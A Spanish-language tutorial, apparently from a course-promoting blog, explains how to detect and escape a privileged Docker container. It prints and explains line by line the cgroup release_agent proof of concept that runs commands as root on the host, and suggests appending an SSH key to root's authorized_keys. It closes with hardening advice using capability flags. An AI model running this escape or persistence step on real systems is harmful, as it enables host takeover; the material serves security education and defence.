Los contenedores con privilegios de Docker son contenedores que se ejecutan con una bandera
--privileged
. A diferencia de los contenedores normales, estos contenedores tienen acceso de root a la máquina host.
Los contenedores privilegiados se utilizan a menudo cuando las tareas requieren acceso directo al hardware para realizar las tareas. Sin embargo, los contenedores Docker privilegiados pueden permitir que los atacantes se apoderen del sistema host. Hoy veremos cómo se puede salir de un contenedor privilegiado.
Búsqueda de contenedores vulnerables
¿Cómo podemos determinar que estamos en un contenedor privilegiado?
¿Cómo sabes que estás en un contenedor?
Cgroups
significa grupos de control. Esta característica de Linux aísla el uso de recursos y es lo que Docker usa para aislar contenedores. Puede saber si está en un contenedor marcando el cgroup del proceso init en /proc/1/cgroup
. Si no está dentro del contenedor, entonces el grupo de control será /. Nuevamente, si está en un contenedor, verá en su lugar /docker/CONTAINER_ID
.
¿Cómo saber si un contenedor tiene privilegios?
Una vez que haya determinado que está en un contenedor, debe comprender si tiene privilegios. La mejor manera de hacer esto es ejecutar el comando que necesita la bandera
--privileged
y ver si funciona.
Por ejemplo, puede intentar agregar una
dummy
interfaz usando el comando iproute2
. Este comando requiere acceso al NET_ADMIN
que tiene el contenedor, si tiene privilegios.
$ ip link add dummy0 type dummy
Si el comando tiene éxito, podemos concluir que el contenedor tiene funcionalidad
NET_ADMIN
. Y NET_ADMIN
a su vez, forma parte de un conjunto privilegiado de funciones, y los contenedores que no lo tienen no son privilegiados. Puede eliminar el enlace dummy0
después de esta prueba con el comando:
ip link delete dummy0
Escapar del contenedor
Entonces, ¿cómo se sale del contenedor privilegiado? El siguiente script le ayudará aquí. Este ejemplo y prueba de concepto se tomaron del blog Trail of Bits . Para profundizar en el concepto, lea el artículo original:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Esta prueba de concepto utiliza una función
release_agent
de cgroup
.
Una vez finalizado el último proceso
cgroup
, se ejecuta un comando que elimina el trabajo terminado cgroups
. Este comando se especifica en un archivo release_agent
y se ejecuta en nombre de root
la computadora host. De forma predeterminada, la función está desactivada y la ruta release_agent
está vacía.
Este exploit ejecuta código a través de un archivo
release_agent
. Necesitamos crear cgroup
, especificar su archivo release_agent
e iniciar release_agent
, matando todos los procesos en cgroup
. La primera línea en la prueba de hipótesis crea un nuevo grupo:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
Lo siguiente incluye la función
release_agent
:
echo 1 > /tmp/cgrp/x/notify_on_release
Además, en las siguientes líneas, se registra la ruta al archivo
release_agent
:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Entonces puede comenzar a escribir en el archivo de comando. Este script ejecutará el comando
ps aux
y lo guardará en un archivo /output
. También necesita configurar los bits de acceso para el script:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
Finalmente, inicie el ataque generando un proceso que terminará inmediatamente en el cgroup que creamos. Nuestro script
release_agent
se ejecutará después de que se complete el proceso. Ahora puede leer la salida ps aux
en la máquina host en un archivo /output
:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Puede utilizar este concepto para ejecutar los comandos que desee en el sistema host. Por ejemplo, puede usarlo para escribir su clave SSH en el archivo de
authorized_keys
usuario raíz:
cat id_dsa.pub >> /root/.ssh/authorized_keys
Prevenir un ataque
¿Cómo se puede prevenir este ataque? En lugar de otorgar a los contenedores acceso completo al sistema host, solo debe otorgar los permisos que necesitan.
Las capacidades de Docker permiten a los desarrolladores otorgar permisos selectivamente a un contenedor. Es posible dividir los permisos, generalmente empaquetados en la raíz
access
, en componentes separados.
De forma predeterminada, Docker toma todos los permisos del contenedor y requiere que se agreguen. Puede eliminar o agregar permisos usando los indicadores
cap-drop
y cap-add
.
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
Por ejemplo, en lugar de dar el contenedor
root access
, lo deja NET_BIND_SERVICE
si necesita conectarse a un puerto por debajo de 1024. Esta bandera le dará al contenedor los permisos necesarios:
--cap-add NET_BIND_SERVICE
Conclusión
Evite ejecutar contenedores Docker con una bandera siempre que sea posible
--privileged
. Los contenedores privilegiados pueden brindar a los atacantes la capacidad de salir del contenedor y obtener acceso al sistema host. En su lugar, dé permiso a los contenedores individualmente usando una bandera --cap-add
.
Lee mas
- Características del kernel de Linux
- Usar Docker de forma segura
- Prácticas recomendadas de seguridad para trabajar con contenedores privilegiados
- Tácticas del equipo rojo: técnicas de supervisión avanzadas en operaciones ofensivas
- Pentest. Práctica de pruebas de penetración o "piratería ética". Nuevo curso de OTUS
Obtenga más información sobre el curso.